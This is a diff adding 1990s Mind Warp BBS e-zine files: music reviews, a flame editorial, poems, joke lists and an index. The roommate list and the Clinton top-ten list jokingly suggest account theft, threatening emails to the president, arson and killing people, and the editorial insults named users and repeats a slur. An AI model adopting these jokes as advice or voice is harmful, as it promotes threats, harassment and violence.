Review #5, I noted that on the +Clerks soundtrack there was a really spiffy Alice in Chains song...WELL! +It turns out that song was already released (and I should have known this +cuz I have the album it originally came out on) on the second EP they did +called SAP. BUY SAP, and forget the Clerks... Now, back to your regularly +scheduled music review! + + + +Band #1 +Name : Megadeth +Album : Killing is my Business... and Business is Good! +Info. : Wow. I *think* this was Megadeth's very first release into the + music community immediatly following Dave Mustaine's little + incident with Metallica. (He got kicked out.) It's nothing + special, unless you like old 80's HEAVY metal, but I really dig + Megadeth, and I would highly recommend this one. The most notable + aspects of this album are the spiffy sound effects that pop up + before almost each song. k-spiff. + + 1) Last Rites/ Loved to Death (9) + 2) Killing is my Business... and + Business is Good! (10) + 3) Skull Beneath the Skin (8) + 4) These Boots (8) + 5) Rattlehead (9) + 6) Chosen Ones (6) + 7) Looking Down the Cross (9) + 8) Mechanix (9) + + +Band #2 +Name : Megadeth +Album : Peace Sells... But Who's Buying? +Info. : Yes! I can almost remember the first time I sat in my home, late + Saturday night, watching Ricky Rackmann, when there was still a + Headbanger's Ball...and LOVING the Peace Sells video.. This is + another k-spiff release from Megadeth...and it has two REALLY + cool songs. Peace Sells...and Good Mouring/Black Friday. Gotta + love it...(or I will KILL you.) + + 1) Wake Up Dead (9) + 2) The Conjuring (9) + 3) Peace Sells (11) *YES!* + 4) Devils Island (9) + 5) Good Mouring/Black Friday (11) *YES!* + 6) Bad Omen (7) + 7) I Ain't Superstitous (9) + 8) My Last Words (9) + + +Band #3 +Name : Megadeth +Album : so far, so good...so what! +Info. : (Woo^100) X (k-spiff+radical) / 4 + Yes folks, I have decided to do sort of a Megadeth theme this + release...and I will NOW be telling you about this album. Really + cool cover art on this Cd, it's the Megadeth Skull Guy dresses up + in army fatigues...YEAH! The music rocks too. They do a cool + cover of Anarchy in the UK, and they have a spiffy little + instrumental as well. BUY THIS ONE. + + 1) Into the Lungs of Hell (10) *Instrumental* + 2) Set the World Afire (10) + 3) Anarchy in the UK (10) + 4) Mary Jane (9) + 5) 502 (9) + 6) In my Darkest Hour (10) + 7) Liar (10) + 8) Hook In Mouth (9) + + Betcha thought I was gonna do some more Megadeth didn't you??? Well +folks, if I ever decide to write some more Megadeth Info...I promise to +cover Rust In Peace, Countdown to Extinction, and YouthanAsia. + For now, I am going to go sulk cause I am massivly in lust/love with +two wonderfull ladies at my school...and unfortunately I am not getting ANY +play :) + +Greets : Raven, Essex (schmuck), Danny & Meg Q., Pornlo, and alt.gymkana! +Thanks : to the GNN, for mentioning us!!! in uXu 244... + + +============================================================================== + Call Hell's Kitchen - (301) 989-8510 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-049.txt b/textfiles.com/magazines/MINDWARP/mw-049.txt new file mode 100644 index 00000000..c1493b1c --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-049.txt @@ -0,0 +1,124 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #3, Issue #8, File #049 ] + [ "Musty Gets down and Dirty" by Mustaine ] + +------------------------------------------------------------------------------ + Various. (Editorials) (Part I) + [Mustaine] + + Wow, YOU WOULD BE AMAZED at how many people I have pissed off just in +the last few years I have been BBS'n in the tri-state area. Girls and Guys +alike, I have managed to enrage pre-pubescent TEENAGERS everywhere! What +does this tell me? It tells me that even in the hallowed sanctuary of +BBS land, there are complete and UTTER MORONS! Now, in the hopes of +getting some more hate mail...I decided to break down and flame some of +these people (with justification of course) just to make a nifty article +that is SURE to go down in the "Mustaine...Hall of Fame!" + The first person I would like to pick on would be Mr. Gardner Swan. +Well, let me take that back..I'm not going to pick on him...I'm more going to +slam him so hard that when he wakes up his punk rock loving butt will still +be spinning from the verbal blows. OK! This loser (you can find some of his +actually half decent articles in Helter Skelter (Dark Horse's 'Zine) goes +under the alias Red Dragon, because, as he put it : "it's sorta like my name, +spelled backwards." Well, I don't know about you folks....BUT Gardner +Swan spelled backwards is Rendrag Naws. Rendrag Naws could become Redrag +News maybe with a vowel exchange. That would be A) A newspaper devoted to +drag queens, B) Red Dragon spelled bacwards, or C) the farthest thing from +Gardner Swan spelled backwards that I could ever think of. Now, before you +people start condemming me, please let me make it impicitly clear that all +of this is meant in jest, and I wish NO TRUE ill being towards Mr. Swan in +the slightest. NOW, I know for a fact he has a sense of humor...so it's safe +to assume he'll live. + Next, this complete imbecile has the NERVE to tell ME on MY bbs that he +has TOTAL freedom of speech. (Um...NO). First, it's MY BBS, subject to MY +rules, and therefore anything I give to YOU (Swan) is a gift, not a RIGHT. +Big difference, I assure you! He also implicitly stated that he didn't +believe in god (which is OK, I happen to believe in god, but everyone has +their own opinion!), and then further went on to attempt to participate in +a discussion of god (which is lame, because he doesn't believe in god) and +made a total ass of himself. I really didn't care, cuz it stimulated some +GREAT discussions, which I am thankfull for! Unfortunately, he persisted in +his nonsense, and pissed off 95 PERCENT of my users, who began threatening to +kill HIM. Unfortunately, I had to warn him that I couldn't have this hatred +going on, and I asked him to stop, but he didn't so I took his posting access +away for a period of two weeks. He then unfortunately decided never to call +again, and that was not good. Oh well. Maybe next time. He has his own +BBS now, and I encourage everyone to call it and post and stuff. He really +can be cool at times, even if he pissed almost EVERY user of Recluse off. +AH well, on to another moron! + Next, WildNCrazyGuy (or in my version WILD'N'CRAZY'PREPUBSECENT'MORON' +WHINING'MOTHER'(WANT-TO)'F*CKER). This punk has the nerve to call my BBS, +which runs under the absolute BEST BBS SOFTWARE in the world : SynchroNet : +and upload WWIYuckV with the description 'Kicks this software in the BUTT.' +Um, well that right there lost him some serious brownie points. SERIOUS +brownie points. THEN he has the nerve to fake some of his information and +ASK ME WHY I WANTED IT???? Well, listen up you little f*ck. I LIKE my +software, and although Raven is one of the coolest sysops in the world, I +think WWIV blows chunks. It is geared towards little teenagers who can't +read a manual and set up a decent BBS. It ALSO comes fully operational in +a shareware form, so YOU KNOW it's gotta suck unmodded. ALSO, you have no +right to tell me what software to run. Go blow yourself. NEXT, I require +all my users to give me real information so I can mail them with BBS changes +when MY BBS changes numbers every other semester. Pretty cool huh? + Personally, I feel that all users should be required to give out all +their real information when they login to a legitamite BBS. Most of the +sysops aren't going to give the information out, and you should at least +figure that even if they do, nothing *that* serious could happen. Maybe +that's not true in other area codes...but who cares! I have already +digressed enough because of the train of thought this moron makes me walk +upon. + Ack, who should be the next person to flame? AH! Here's one everyone +will love. In the far corner of area code 301's BBS land, there lies a +young 3 year old BBS called Hell's Kitchen. The sysop, Hell Raiser, is +a pretty respectable 16 year old, and most of his users are cool. EXCEPT one. +One little moron on this board has the audacity to pick fights with ME (of +all people right?) every single time I log on. I first called this BBS +when it originally went up, and I used to like it a lot. That was before I +stopped BBS'n every week. Now I've narrowed it down to like 2 or three a +month...BUT ACK! I digress. N-E-Ways, this user's glorius alias is +Shaft, or as he recently changed is, NiggaShaft. Is he black? Is he white? +Do I care? NO. This moron tries to make me look stupid by posting absurd +'crap' about me every single time I log on. Not to mention the fact that I +recieve about 2-3 new e-mails from him telling me to stop making him look +stupid every time I respond to him. + It got so bad at one point that he tried to delete me. (He has semi-co +access on this BBS.) To his surprise, Hell Raiser had given me a gloriously +huge security level about two years back for helping him with a personal +problem, and when he tried to delete me, he learned that I HAD MORE security +than him. He posted as such, and the sysop promptly told him to quit +messing with me. I don't know the exact details, because I am not really in +the habit of reading private mail. At any rate, I think I have made my point +on this moron very clear. + Alright boys and girls, I must go and write some other articles. In +the meantime, I plan to continue this article in a future issue of Mind Warp. +I have decided to make it one of my continuing series of Editorials. Next +issue will feature some other morons I have encountered. Elvis maybe? We +shall see! Untill the next half.... + + ..to be continued.. + + mustaine + +Greets : + +Raven : Ugh..no BBS. +Pornlo : Thief! +The Chief : YOU RULE! +Me : YOU RULE! + + +============================================================================== + Call The Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-050.txt b/textfiles.com/magazines/MINDWARP/mw-050.txt new file mode 100644 index 00000000..2a399118 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-050.txt @@ -0,0 +1,51 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #3, Issue #9, File #050 ] + [ "X-Men Chapstick" By Angst ] + +------------------------------------------------------------------------------ + X-Men Poem + [Angst! (grrr!)] + +Angst wrote this.. imagine it in all blue..... + + I have X-men chapstick. + It is really neet. + I use it on my lips + I use it on my feet. + + It tastes like cherries + And makes my lips greasy + It's got Wolverine on it + Cause he's really Beefy. + + I like everything about + My X-men chapstick + If your lips are chapped + Then go out and get it. + +ANGSTùpeep-clause + + + + + + + + [Editor's Note: This File, when given to me, was exactly 666 bytes.. + Coincidence? I think not.] + +============================================================================== + Call Hell's Kitchen - (301) 989-8510 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-051.txt b/textfiles.com/magazines/MINDWARP/mw-051.txt new file mode 100644 index 00000000..5c1a0741 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-051.txt @@ -0,0 +1,93 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #3, Issue #10, File #051 ] + [ "Roomates" by Mustaine ] + +------------------------------------------------------------------------------ + Roomates.. + [Mustaine] + + Um...today's topic. Roomates? When you grow up and go to college, +or perhaps graduate from college, and have to find some place to live, +chances are you will find yourself stuck with a roomate. UHG. Well, I +do belive I have written enough articles on roomates to tell you guys that +you want to try to avoid them at ALL POSSIBLE opportunities. Today, I +decided to compile a *very short* list of how to *try* to get rid of your +roomate if you don't want him or her. (This list is geared towards college +students.) + + o Call up Resident Life (or your landlord) and tell them that your + roomate is a practicing member of the KKK. He or she has 7 robes + for each day of the week, and has taken glow-juice (that only + shows up under your k-spiff black lights) and drawn satanic crap + all over your walls. AND to top it off, he or she also gave you + the opportunity to become part of their rituals...say something + like they offered you a free ride to hell if you let them gut you + at their next group therapy session. + + o When your roomate is out, take ALL their stuff that you can carry, + and accidentaly drop it out the window. + + o Or if that last one appealed to you, take ALL their stuff (that you + can carry) and put it in the washing machine...yes even the + microwave. + + o Speaking of microwaves, it REALLY pisses people off when you leave + your dirty underwear in the microwave because "you wanted to dry it." + + o Steal his or her internet account (EVERYONE should HAVE ONE) and + e-mail president@whitehouse.gov and include the phrases "you suck" + "I want to kill you" and "rape Chelcy AND Socks." + + o Call his or her spouse (boy or girlfriend) and tell them he or she is + cheating on them WITH you. + + o Or if that one appeals to you, and you dig the chick he or she is + dating...go ahead and cheat with em... (makes for fun, eh?) + + o Take all their furniture, and accidentaly set it on fire. (Make it + look like an accident.) + + o Call me, and I will come live with them, and then FOR sure they will + leave. + + o If they have children (above 16)...and THIS IS ONLY for you out of + college people...like have an affair, or something...Hell, it works + on TV. + + o Play really amusing CD's like Vanilla ICE and Milli Vanilli and + claim that they are stuck in an endless loop untill they leave. + + o Take your favorite blunt object (eg. retractable dildo, vibrator, + hammer, lamp) and kill them. + + o Shoot them. + + o Stab them. + + o Make them read those 'other zines' like TWAT, and BoW, and TelStar. + They'll leave. + + + Woo! That's all. Hey folks, I'm outta here, but check out this +'other' zine called uXu...it's k-spiff. (Enough with the k-spiff, eh?) +Later from the Mustaine(ator!) + +Greets : Dani & Meg. Q, alt.gymkana, shadowdancer, Armitage, pornlo, + Raven, Essex *shmuck*, and ME! + + +============================================================================== + Call The Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-052.txt b/textfiles.com/magazines/MINDWARP/mw-052.txt new file mode 100644 index 00000000..d6af8ea1 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-052.txt @@ -0,0 +1,95 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #3, Issue 11, File #052 ] + [ "Top Ten Lists" By Mustaine ] + +------------------------------------------------------------------------------ + Top Ten. + [Mustaine] + +------------------------------------------------------------------------------ + + After walking in dead tired today from wading through all the damn snow +that's been plauging the area I decided it was time to do some more "Top Ten" +lists. I've done some before that were never published...so I decided to +start fresh and do some new ones that Raven *might* publish. Enjoy! + + Top Ten ways to piss off President Clinton + + 1) E-Mail president@whitehouse.gov with a really nastly letter + including the words 'hate', 'kill', and 'health-reform.' + + 2) Get Chelcy pregnant. + + 3) Kill Socks. + + 4) Get Hillary pregnant. + + 5) Call the Star and release a story about how president Clinton is + really a gay man in disguise. + + 6) Claim to be Clinton's illagitamte son or daughter. + + 7) Shoot at the white house. You've got about 2 minutes to run + before they will realize what's going on. + + 8) E-Mail Al Gore telling him that Clinton screwed his wife. + (vice-president@whitehouse.gov) + + 9) Prank call the white house pretending to be Saddamn Hussein. Ask + Clinton if he wants to come to a Christmass party. + + 10) Shave off all of Socks' hair, and re-image a photo of Clinton and + Socks doing the wild thing. + + +------------------------------------------------------------------------------ + + Top Ten Worst ways to Die + + 1) Have sex with Rosanne. + + 2) Complain to the stressed out Slurpee boy with the gun. + + 3) Piss off Mustaine. (you'll see) + + 4) Die from blood loss incurred from feline puncture wounds to your + penis. + + 5) Be the old lady in those Doritos Commercials. + + 6) Play fire fighters with Beavis and Butthead. + + 7) Drive with Pornlo to the mall. + + 8) Drive with Raven to the mall. + + 9) Drive with Essex to the mall. + + 10) Attempt to have sexual encounters with a sperm whale. + + + That's all I can think of right now. BUT I KNOW there are readers out +there that have better Top Ten Lists. Type them up and send them to +mustaine@wam.umd.edu and Mind Warp will publish them in future issues. +Until then, peace, happy sex, and large testacles! + +Greets : Raven, Pornlo, Danni, alt.gymkana.and.crew, the Chief + + [Editor's Note: After #8, see if Musty ever writes for this zine again!] + [Another Note: Of course he will, he's the only one who does! :) ] + +============================================================================== + Call Hell's Kitchen - (301) 989-8510 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-053.txt b/textfiles.com/magazines/MINDWARP/mw-053.txt new file mode 100644 index 00000000..71ad5f31 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-053.txt @@ -0,0 +1,113 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #3, Issue #12, File #053 ] + [ "Friends" by Mustaine ] + +------------------------------------------------------------------------------ + Friends + [Copyright (c) 1994-1995 Mustaine] + +------------------------------------------------------------------------------ + + I can personally state that the single most important thing in my life, +barring my family, girlfriend (when I'm not single), and Gymkana are my +friends. So what's the big deal about friends? Well, to start, I belive +that any person that has close friends is able to enjoy life about 99.99% +better than anyone in this world without friends. Why? + I really don't have any reason's as to WHY it is better to have friends. +Personally, I think that anyone that doesn't have friends is missing out on +LIFE in general. Who else will + + o let you crash at their pad when your tired, + o give you advice when you need it, + o comfort you when you need comforting, + o cheer you up when your down, + o slap you when your WAY out of line, + o bail you out of sticky situations, + o do all that other cool friend stuff? + +I don't think any old strangers are gonna do it! I know for sure that really +good friends can help you out a WHOLE lot better than your parents will ever +do. Sure, for some situations, your parents are the ones to talk to...but +what about those odd situations? Imagine asking your parents + + o gee, Dad...I just totally woke up with this chick I can't remember, + and I know damn well I didn't carry any condoms with me last night?, + o say Mom, I was invited to go out all night and get totally blasted + at this frat party, can I have the car keys?, + o say Pop!, you ever had that problem..where..ya know..you just couldn't + get it up? + +Now, I could go on and on with those...but I think my readers will get the +picture. Everyone should have at LEAST one friend that can be there for +[you] should you ever need to do stuff. GOOD friends should + + o be allowed to call after 2am, + o be allowed to tell you your too drunk to go anywhere, + o bail you if your about to do something stupid, + o be able to talk to you about big problems! + +*** FOR THOSE of you reading this, and KNOW me as a writer, and are +WONDERING when I am going to get to my point, just spacebar to the end like +you usually do. For those of you who don't read me...keep reading. *** + + Personal Stuff! Personal Stuff! Usually by now, my readers are +questioning what possesed me to write what I am writing, and WHY I wrote it. +Well, here comes the PERSONAL, true-to-life story part, and then I will +conclude on why these personal experiences told me to write this article. +If you think it's lame...well.. [censored].. + + Last night, [the SHORT-SHORT version], I went out with a bunch of +friends to a University Of Maryland Gymnastics competition to watch our team +girls, and root for 'em. (Duh!) When we first got there, and scoped out +some decent seating arrangements, these IDIOT people from the opposing team +kept standing in front of us, blocking our view to the events. Myself being +the easily pissed-off-react-and-get-his-butt-kicked type, I stood up and +started telling these IDIOTS why they should move, and exactly what they +should go do with themsleves. + ZAP!!!!! Had it not been for my friends, I would have died. Usually, I +tend to use quite unneccesary language and remarks that usually get my ass +whiiped. This incident was not any different, except for the fact that two +of my [very HUGE, STRONG, and MEAN-LOOKIN'] friends stood up and backed me +up, and then forcibly sat my ass down. Score one for the friends theory! +I got myself saved from an ass-whoopin'. The idiots moved! + Later on that evening, I got snookered into doing a LOT of moving of +equipment around, and ZAP!!!!!, three of my friends stayed around and +helped me out. ZAP!!!! Friend-bondage....it rocked. + Even later on that evening, (and into the next morning), I crashed with +some more of these friends at their apartment, and they cooked for me, +offered me a place to crash (cuz it's a LOOOOOOONG walk to my house), and +entertained me all night long. What are friends for, eh? + The next morning, they gave me clean clothes, drove me home, and we +ended up all going out again the next day. Cool friends, eh? + + ***** OK, SPACEBAR PEOPLE!!!! CONCLUSION TIME ***** + + The main point I am trying to make is that friends are cool, healthy +for you, and necessary. Even if your not a brash upstart like me, you need +friends. Someday, you'll realize...that is if you don't get it now. SO!!! +Go out and get yourself some good friends. Pickin' em is your own buisness, +and I am NOT going to tell people what kind of friends they should hang out +with. With that in mind, I am going to stop writing. Let me just thank +really quickly those 'friends' that allowed me to write this article. +Thanks Danni, Michelle, Sandy and Monty! 'Twas fun. WAY better then +Centerville...and just as much fun as the 'loop. See ya all Monday! + +WOOOOOOOOOOOOOOOOO! Peace, and look for more from me! + + mustaine [infleunza] + +============================================================================== + Call The Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-054.txt b/textfiles.com/magazines/MINDWARP/mw-054.txt new file mode 100644 index 00000000..b4e28a6f --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-054.txt @@ -0,0 +1,205 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #3, Issue #13, File #054 ] + [ "Mind Warp! Index #4" by Raven ] + +------------------------------------------------------------------------------ + Mind Warp! Index #4 + [raven] + January - April 1995 + + Welp, here it is, volume #03, our fourth one. It's been a while, I +know. I put together a WWW homepage for the zine, so check it out (address +is farther down). What's most excited me since the last volume, is when I +read the latest uXu release, and I saw that the GNN had mentioned us at the +end of one of his files (UXU-244.TXT "The New World Order", to be exact). +I was so thrilled, that I ran around the house yelling "I got a UXU mention! +I wanna be The Chief when I grow up!" Ok, enough brown-nosing... + Hmm, since January, I've become a major fucking druggie. Thank you, +thank you, I'm enjoying it (failing school, but I'm fucking enjoying it). +I started smoking up in January, and I was a recreational drug user. Then, +in like February, I had what was supposed to be an intimate little gathering +with my friends to smoke some reefer, while my parents were in New Orleans +getting drunk. There were so many people crammed into my little townhouse. +Those INFLUXX peoples had brought this schweet Grafix bong, and it toked +quite nicely. I was fucked up that whole weekend, and I'm now basically +high 24/7. That's the main reason why this volume took 4 months to complete, +because I was too busy being stoned and/or building bowls and bongs, to put +it together. I'm currently out of pot, so I'm working on this. I do have +some nice brownies to eat after I'm done, tho. :) + Another thing that has changed since the last volume is my BBS going +down. Now, I have made Dark Horse's BBS my WHQ. (And he doesn't even know it +yet, I guess he'll find out when (if) he reads this :) + Enjoy the zine, I had to like do work on it. :) + +Credits: +('!' denotes that they wrote for this volume, '*' denotes that they're a new + writer and have written for this volume (obviously)) +------------------------------------------------------------------------------ + [!] Raven : Writer / Editor + [ ] Catwoman : Writer / Editor / Proofreader + [!] Mustaine : Writer / (wierd) k-rad d00d + [ ] Dark Horse : Writer (Poet) / Editor + [ ] Buckwheat : Writer (O-TAY!) + [ ] Deker : Writer (Poet) + [ ] Slartibartfast : Writer (whoa) + [*] Angst : Writer (in blue) + [*] Killer Wombat : Writer (freak) +------------------------------------------------------------------------------ + + +Index: ( '*' Indicates that the file is new to this Volume ) +------------------------------------------------------------------------------ +Filename Topic/Title Author Volume Issue Filesize +------------------------------------------------------------------------------ +MW!-000.TXT "Introduction to Mind Warp!" Raven #0 #0 2.5k +MW!-001.TXT "Disturbing Thoughts" Raven #0 #1 6.9k +MW!-002.TXT "Untitled Poem" Mustaine #0 #2 2.6k +MW!-003.TXT "School Phun #1" Raven #0 #3 7.1k +MW!-004.TXT "Music Review: #1" Mustaine #0 #4 4.9k +MW!-005.TXT "Technology: The Man.." Raven #0 #5 4.1k +MW!-006.TXT "Music Review: #2" Mustaine #0 #6 5.7k +MW!-007.TXT "Cruelty to Animals" Raven #0 #7 4.3k +MW!-008.TXT "Network Hacking #1/2" Mustaine #0 #8 22.0k +MW!-009.TXT "Network Hacking #2/2" Mustaine #0 #9 10.2k +MW!-010.TXT "Mind Warp! Index #1" Raven #0 #10 4.7k +MW!-011.TXT "Phone Death" Raven #1 #0 6.7k +MW!-012.TXT "STUPIDRV.EXE" Mustaine #1 #1 13.1k +MW!-013.TXT "Class Voting" Raven/Catwoman #1 #2 2.9k +MW!-014.TXT "Music Review: #3" Mustaine #1 #3 8.7k +MW!-015.TXT "Misc. Poetry" Dark Horse #1 #4 4.8k +MW!-016.TXT "Editorial" Mustaine #1 #5 4.4k +MW!-017.TXT "A NEW Crime Bill" Raven #1 #6 5.1k +MW!-018.TXT "Kids...They Suck." Mustaine #1 #7 6.2k +MW!-019.TXT "Untitled Poem" Dark Horse #1 #8 2.2k +MW!-020.TXT "Phun with Snot" Mustaine #1 #9 5.4k +MW!-021.TXT "The World's Suckiest Jobs" Catwoman/Raven #1 #10 3.6k +MW!-022.TXT "Philosophical Wonderings" Buckwheat #1 #11 4.5k +MW!-023.TXT "Lion King Review" Mustaine #1 #12 4.5k +MW!-024.TXT "Summer" Buckwheat #1 #13 2.9k +MW!-025.TXT "Music Review: #4" Mustaine #1 #14 6.6k +MW!-026.TXT "Mind Warp! Index #2" Raven #1 #15 7.9k +MW!-027.TXT "The BLOND Virus" Mustaine #2 #0 4.0k +MW!-028.TXT "Lighter Tricks" Raven #2 #1 5.3k +MW!-029.TXT "Driving Grievances" Slartibartfast #2 #2 2.9k +MW!-030.TXT "Untitled Poem" Deker #2 #3 2.8k +MW!-031.TXT "Letter to Bozak" Mustaine #2 #4 3.3k +MW!-032.TXT "Race" Slartibartfast #2 #5 3.4k +MW!-033.TXT "Wild Walk" >Anonymous< #2 #6 4.8k +MW!-034.TXT "School Phun #2" Raven #2 #7 6.4k +MW!-035.TXT "The DAVE Continuum" Slartibartfast #2 #8 3.3k +MW!-036.TXT "Misc. Poetry" Mustaine #2 #9 4.5k +MW!-037.TXT "Labels Galore" Raven #2 #10 4.3k +MW!-038.TXT "Untitled Poem (#2)" Deker #2 #11 1.9k +MW!-039.TXT "What happened to Musty?!" Mustaine #2 #12 3.4k +MW!-040.TXT "Mind Warp! Index #3" Raven #2 #13 10.0k +MW!-041.TXT * "Music Review: #5" Mustaine #3 #0 6.9k +MW!-042.TXT * "wop wop" Angst #3 #1 5.8k +MW!-043.TXT * "Musty's College Thang" Mustaine #3 #2 12.0k +MW!-044.TXT * "Rock the Cradle" Mustaine #3 #3 2.5k +MW!-045.TXT * "Stereograms" Raven #3 #4 3.7k +MW!-046.TXT * "The Mustaine Continuum" Mustaine #3 #5 4.5k +MW!-047.TXT * "..End of the World.." Killer Wombat #3 #6 5.6k +MW!-048.TXT * "Music Review: #6" Mustaine #3 #7 5.9k +MW!-049.TXT * "Musty Flames People #1" Mustaine #3 #8 7.7k +MW!-050.TXT * "X-Men (Poem)" Angst #3 #9 1.9k +MW!-051.TXT * "Roomates" Mustaine #3 #10 4.3k +MW!-052.TXT * "Top Ten Lists" Mustaine #3 #11 3.7k +MW!-053.TXT * "Friends" Mustaine #3 #12 6.2k +MW!-054.TXT * "Mind Warp! Index #4" Raven #3 #13 12.6k +------------------------------------------------------------------------------ + +Submitting a File: + Please feel free to submit anything you can. We are always greatful +for your work, and we publish most anything! Send your files to one +of the addresses below, or call one of the BBSs below, and upload it there. + + The following is the Mind Warp! PGP key. It isn't required that you +encrypt your mail or your submissions, but it would be greatly appreciated if +you would encrypt all submissions, and if possible encrypt any other mail, +even if it's not an important piece of mail, it's still nice to show support +for public encryption (Die, Clipper Chip, DIE!). + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.5 + +mQBtAi4Ez5EAAAEDAKjwhkGmSpWun8GDK2c3+VFfQrYzufsWo9q8ARuQyz2wj1Ub +RygEgk8j3lJMBto8rQ1H5aCLK8gFW+4n5Vx+7SvGyu+xxM2mOWuLm2oruF8P8fbk +aDUQwF+Lbts+ubkRiQAFEbQKTWluZCBXYXJwIQ== +=CGZF +-----END PGP PUBLIC KEY BLOCK----- + +Mind Warp! FTP/GOPHER/WWW Sites!: +------------------------------------------------------------------------------ + FTP : etext.archive.umich.edu /pub/Zines/Mindwarp + Gopher : //locust.cic.net/11/Zines/Mindwarp + //etext.archive.umich.edu/11/Zines/Mindwarp + WWW : http://www.wam.umd.edu/~johahn +------------------------------------------------------------------------------ + + +Mind Warp! Funky Fresh Distro. BBSs: +------------------------------------------------------------------------------ +Name Number/Baud SysOp +------------------------------------------------------------------------------ +Omniverse 301-718-0225 14.4k Dark Horse +Hell's Kitchen 301-989-8510 14.4k Hell Raiser +Recluse (12am-6am EST) 301-314-1505 14.4k Mustaine +------------------------------------------------------------------------------ +Please! We need more bbs's (especially out of the 301 area code!)! Send +mail to one of the listed addresses if you would like to be one, there aren't +any strange requirements, except that you run a BBS. + + +Mind Warp! E-mail Addresses: +------------------------------------------------------------------------------ +johahn@wam.umd.edu (raven) +mustaine@wam.umd.edu (Mustaine) +------------------------------------------------------------------------------ +(To other Mind Warp! Contributers, just yell if you want your address up + there, and be sure to tell me what it is. :) + + +Also check out these fine electronic zines (Obligatory Plugs :) : +------------------------------------------------------------------------------ +Name Editor +------------------------------------------------------------------------------ +Underground eXperts United (uXu) - The Chief +Helter Skelter (Digital Version) - Dark Horse +------------------------------------------------------------------------------ +(Both available at etext.archive.umich.edu) + + Please send all of your Mustaine Hate Mail to either address as well. +We know you want to send it. Hate mail will be sent to him, and it will be +published (with a reply) in a future issue. :) + + Distribution info: Please, distribute these all you want, but just +keep the files in format of MW!-XXX.TXT where XXX is a the file number that +is already on there. Also, if the file is archived, please keep it in the +same format, except for the .TXT extension which should be replaced by the +default extension of the archiving program (ex. ZIP,ARC,ZOO,ARJ,LZH, etc..). +And the other format of distribution (and probably now the MAIN format) is +in the form of MW!-VXX.AAA, where XX is the volume number, and AAA is the +default archive extension. This method will contain all of the issues of one +volume in a single archive. +** New! Another format of distribution is the MWy-XXX.TXT, where y is the +volume number and XXX is the file number. Mustaine had to start this format +for the FTP site, because UNIX doesn't allow the '!' character in filenames. +Thanks. + +- Raven + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-055.txt b/textfiles.com/magazines/MINDWARP/mw-055.txt new file mode 100644 index 00000000..5000b6c7 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-055.txt @@ -0,0 +1,63 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #00, File #055 ] + [ "That Wonderful, Awful Grinch" by Dark Horse ] + +------------------------------------------------------------------------------ + That Wonderful, Awful Grinch + [Dark Horse] +------------------------------------------------------------------------------ + +That Wonderful, Awful 